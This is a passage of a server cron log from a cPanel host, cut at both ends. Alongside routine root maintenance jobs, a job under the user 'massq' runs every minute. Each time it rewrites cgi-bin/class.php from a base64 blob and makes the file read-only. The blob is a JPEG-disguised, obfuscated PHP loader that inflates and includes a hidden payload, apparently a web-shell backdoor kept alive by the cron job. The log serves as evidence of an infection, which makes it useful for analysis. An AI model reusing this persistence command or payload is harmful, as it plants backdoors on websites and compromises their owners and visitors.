uUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 05:25:01 server CROND[25993]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  9 05:26:01 server CROND[26128]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 05:27:01 server CROND[26203]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  9 05:27:01 server CROND[26204]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 05:28:01 server CROND[26272]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 05:29:01 server CROND[26328]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 05:30:01 server CROND[26485]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  9 05:30:01 server CROND[26487]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  9 05:30:01 server CROND[26488]: (root) CMD (/usr/local/cpanel/scripts/optimize_eximstats > /dev/null 2>&1)
Apr  9 05:30:01 server CROND[26486]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  9 05:30:01 server CROND[26492]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 05:31:01 server CROND[26607]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 05:32:01 server CROND[26661]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 05:33:01 server CROND[26718]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 05:34:01 server CROND[26794]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 05:35:01 server CROND[26966]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  9 05:35:01 server CROND[26968]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  9 05:35:01 server CROND[26970]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  9 05:35:01 server CROND[26969]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Apr  9 05:35:01 server CROND[26973]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 05:36:01 server CROND[27095]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 05:37:01 server CROND[27164]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 05:38:01 server CROND[27226]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 05:39:01 server CROND[27296]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3K